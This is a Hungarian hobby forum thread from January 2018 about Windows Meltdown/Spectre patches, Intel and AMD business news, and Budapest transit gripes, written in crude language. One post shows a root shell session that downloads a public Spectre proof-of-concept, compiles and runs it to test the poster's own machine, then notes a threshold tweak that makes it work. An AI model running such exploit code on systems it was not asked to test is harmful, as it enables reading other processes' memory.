BGAFC Vendégkönyv

Σ: 16 post

TCH (statz)

#1, Főfasz (10443)

1264 | #4770 | ^ | Idézet | Tue, 09 Jan 2018 18:54:12 +01

94.21.*.*

*.pool.digikabel.hu

Az egyik gépünkön ma felugrott egy elég érdekes ablak:

Namármost, azt sejtem, hogy ez a Meltdown és a Spectre ellen való patch, csak éppen két dolgot nem értek: egyrészt, hogy a fárasba jöhetett fel az ablak, amikor a WU ezen a gépen direkt le volt tiltva teljesen, másrészt mi került ezen a fotelon 8 GB-ba?

Mindenesetre lecsekkoltam, hogy mi csinálja ezt:

És ellenőriztem, hogy a services.msc-ben vajon tényleg le van-e tiltva a WU...nos, nem volt, valami érthetetlen módon visszakapcsolta. Kikapcsoltam ismét, de ez az updater nem tűnt el:

Namármost, az rendben van, hogy ezt célszerű volna telepíteni (még akkor is, ha ez a gép nincs aktívan használva, csak a munkaidőpanel fut benne kioszk módon), nade az a baj...

...hogy ha mindent letörölnénk a gépről a win10 kivételével, akkor sem lenne elég a hely a patchnek, még mindig hiányozna fél GB...

Így jobb híján kilőttem a taszkot és átneveztem a könyvtárát, de félő, hogy megint fel fog ugrálni.

Akinek van ötlete, az ne tartsa magában.

M4u5 (statz)

#10, Agyfasz (282)

193 | #4771 | ^ | Idézet | Tue, 09 Jan 2018 20:05:41 +01

5.38.*.*

*.dsl.pool.telekom.hu

@TCH Úgy tudom, hogy az egész kernelt át kellett írni a bugok miatt, meg egy csomó más vacakot is, ha azokra nincs hatással a kernel patch.
Ami a frissítést illeti, önhatalmúskodás a tetőfokon.

TCH (statz)

#1, Főfasz (10443)

80 | #4772 | ^ | Idézet | Tue, 09 Jan 2018 20:13:00 +01

94.21.*.*

*.pool.digikabel.hu

Az egész kernelt? O_O
Linux alatt csak valami táblát kellett berakni... Anyám...

TCH (statz)

#1, Főfasz (10443)

143 | #4773 | ^ | Idézet | Tue, 09 Jan 2018 21:12:47 +01

94.21.*.*

*.pool.digikabel.hu

A hupon közbe javasolták a rendszerlemez tömörítését; hát ilyen speckók mellett...

TCH (statz)

#1, Főfasz (10443)

184 | #4774 | ^ | Idézet | Tue, 09 Jan 2018 21:31:13 +01

94.21.*.*

*.pool.digikabel.hu

Kérdezték a recovery partíciót is, hát ez egy elbaszott karácsonyfa gép:

Van recovery, de nem elég nagy ahhoz, hogy számítson.

M4u5 (statz)

#10, Agyfasz (282)

185 | #4775 | ^ | Idézet | Tue, 09 Jan 2018 22:49:33 +01

5.38.*.*

*.dsl.pool.telekom.hu

Én csak saccoltam, hogy mitől lehet ennyire nagy ez a frissítés. Valószínű, hogy a winfosban át kellett írni egy csomó dolgot, hogy még mindig elvárhatóan fusson a hibás processzorokon.

TCH (statz)

#1, Főfasz (10443)

145 | #4776 | ^ | Idézet | Wed, 10 Jan 2018 10:11:20 +01

94.21.*.*

*.pool.digikabel.hu

Hát akkor ez nagyon csúnyán minősíti a mikrofost. Az is, ha ennyire át kellett írni a core cuccokat, meg az is, hogy a core cuccok ennyit esznek.

TCH (statz)

#1, Főfasz (10443)

1006 | #4777 | ^ | Idézet | Wed, 10 Jan 2018 10:48:14 +01

94.21.*.*

*.pool.digikabel.hu

saxus már megint ostoba.

Magyarázat mindig van jeligére elsütötte a hónap ms-seggnyalását: nem átallik megmagyarázni a kis pondró, hogy de igenis ez milyen kurwa jó, hogy egyszerre frissíti le az egész kurwa oprendszer összes komponensét, mert így nem kell végigvárni a normál update-t, mert az sok kicsi patch-nél baromi sokáig tart. Hát, ez totál kész, bazdmeg. Miért van az, hogy OSX-en, Linuxon, vagy akármi máson a sok kicsi patch pár perc alatt települ, nem kell 2 óráig frissülnie? Ja, azért, mert a winfos update teljesen el van baszva, ezen nincs mit szépíteni. De azért őseggsége megpróbálja!

Sz*rk: Külön felhívnám rá a figyelmet, hogy érdemben semmit nem tett hozzá a topichoz; sem arra nem adott tippet, hogy hogy lehet megoldani a frissítést, sem arra, hogy rossz esetben hogy lehet ezt a szart forever letiltani. Nem. Ő csak elsütötte a kötelező szerecsenmosdatást.

De hiába erőlködik, nem fogok neki válaszolni.

kemi (statz)

#2, Főfasz (2970)

233 | #4778 | ^ | Idézet | Wed, 10 Jan 2018 21:48:08 +01

188.36.*.*

*.dsl.pool.telekom.hu

https://www.hwsw.hu/hirek/58022/intel-amd-cpu-gpu-igp-apu-kaby-lake-grafika-fuzio-core-i7-emib-hbm2.html

Megveszi az Intel az AMD-t? Ha más állna a háttérben, szerintem logikusabb lépés lett volna az Nvidiával kooperálni.

TCH (statz)

#1, Főfasz (10443)

370 | #4779 | ^ | Idézet | Wed, 10 Jan 2018 22:34:20 +01

94.21.*.*

*.pool.digikabel.hu

@kemi:
Megveszi az Intel az AMD-t?

Nem az AMD-t veszi meg, csak GPU terveket vesz tőle.

@kemi:
Ha más állna a háttérben, szerintem logikusabb lépés lett volna az Nvidiával kooperálni.

Lehet, hogy az nVidia nem akart együttműködni, az intelnek meg a Meltdown botrány után már nem sok választása maradt...

TCH (statz)

#1, Főfasz (10443)

5255 | #477a | ^ | Idézet | Thu, 11 Jan 2018 10:13:05 +01

94.21.*.*

*.pool.digikabel.hu

root@Csabi:~# cd /tmp
root@Csabi:/tmp# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 8.10 (jessie)
Release:        8.10
Codename:       jessie
root@Csabi:/tmp# uname -a
Linux Csabi 3.16.0-4-amd64 #1 SMP Debian 3.16.51-3 (2017-12-13) x86_64 GNU/Linux
root@Csabi:/tmp# cat /proc/cpuinfo | grep "model name"
model name      : AMD FX(tm)-6300 Six-Core Processor
model name      : AMD FX(tm)-6300 Six-Core Processor
model name      : AMD FX(tm)-6300 Six-Core Processor
model name      : AMD FX(tm)-6300 Six-Core Processor
model name      : AMD FX(tm)-6300 Six-Core Processor
model name      : AMD FX(tm)-6300 Six-Core Processor
root@Csabi:/tmp# wget https://raw.githubusercontent.com/Eugnis/spectre-attack/master/Source.c
--2018-01-11 10:06:01--  https://raw.githubusercontent.com/Eugnis/spectre-attack/master/Source.c
raw.githubusercontent.com (raw.githubusercontent.com) feloldása… 151.101.12.133
Csatlakozás a következőhöz: raw.githubusercontent.com (raw.githubusercontent.com)[151.101.12.133]:443… kapcsolódva.
HTTP kérés elküldve, várakozás válaszra… 200 OK
Hossz: 4823 (4,7K) [text/plain]
Mentés ide: „Source.c”

Source.c            100%[=====================>]   4,71K  --.-KB/s  idő 0s

2018-01-11 10:06:01 (45,6 MB/s) -- „Source.c” mentve [4823/4823]

root@Csabi:/tmp# gcc -std=c99 Source.c -o Test
root@Csabi:/tmp# chmod +x Test
root@Csabi:/tmp# ./Test
Putting 'The Magic Words are Squeamish Ossifrage.' in memory, address 0x400c08
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdff948... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff949... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff94a... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff94b... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff94c... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff94d... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff94e... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff94f... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff950... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff951... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff952... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff953... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff954... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff955... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff956... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff957... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff958... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff959... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff95a... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff95b... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff95c... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff95d... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff95e... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff95f... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff960... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff961... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff962... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff963... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff964... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff965... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff966... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff967... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff968... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff969... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff96a... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff96b... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff96c... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff96d... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff96e... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffdff96f... Success: 0xFF='?' score=0
root@Csabi:/tmp#

A jelek szerint én nem vagyok érintett, pedig semmit sem frissítettem még. Ezek szerint az AMD-nek igaza volt, hogy ha a BPF JIT ki van kapcsolva, akkor a Spectre sem működik, nem csak a Meltdown.

Sz*rk: Zsugabubus posztja, rámutatott, hogy ha a CACHE_HIT_THRESHOLD makrót 120-ra állítom, akkor sajnos itt is működik...

kemi (statz)

#2, Főfasz (2970)

359 | #477b | ^ | Idézet | Thu, 11 Jan 2018 20:38:58 +01

188.36.*.*

*.dsl.pool.telekom.hu

@TCH:
Nem az AMD-t veszi meg, csak GPU terveket vesz tőle.

Ez az AMD Ryzenre lenne válasz, ami minden tekintetben elpicsázta az Intel processzorait. Viszont az AMD-nek CPU fronton az Intel, GPU fronton az nVidia a riválisa, így az lenne logikus lépés, ha egy Intel processzorba integrált nVidia GPU-val megy neki az AMD-nek.

TCH (statz)

#1, Főfasz (10443)

396 | #477c | ^ | Idézet | Thu, 11 Jan 2018 21:53:39 +01

94.21.*.*

*.pool.digikabel.hu

Az intelnek is van GPU-ja és nem is keveset ad el belőle olyan helyekre, ahol nem kell batár nagy teljesítmény. Egyszóval ezek mindhárman konkurenciái egymásnak minden fronton, mindnek van processzor, grafikus chip, hangchip, stb. Lehet, hogy az intel meg az nVidia jobban utálják egymást, mint az intel meg az AMD.

M4u5 (statz)

#10, Agyfasz (282)

70 | #477d | ^ | Idézet | Fri, 12 Jan 2018 10:41:39 +01

78.92.*.*

*.dsl.pool.telekom.hu

Tegnap a 4/6-oson arra lettem figyelmes, hogy szaggat a hangosbemondó.

TCH (statz)

#1, Főfasz (10443)

27 | #477e | ^ | Idézet | Fri, 12 Jan 2018 10:43:59 +01

94.21.*.*

*.pool.digikabel.hu

Biztos lagzott a windóz. :P

Ádám (statz)

#4, Főfasz (1815)

531 | #477f | ^ | Idézet | Fri, 12 Jan 2018 21:17:15 +01

89.133.*.*

*.catv.broadband.hu

@M4u5:
Tegnap a 4/6-oson arra lettem figyelmes, hogy szaggat a hangosbemondó.

Meg a következő megállót akkor mondja be, amikor már majdnem megálltunk. A régi Ikarus buszokon meg a Ganz villamosokon meg alig lehet hallani. De legalább van :D

De ha már BKK, akkor feltenném a kérdést, hogy milyen technikát lehet alkalmazni, hogy az a kurwa jegy betakarodjon a lyukasztóba (arról a fajtáról beszélek, ami már nem lyukaszt, csak ráírja a dátumot). Mert nekem egyedül a metrón sikerül elsőre.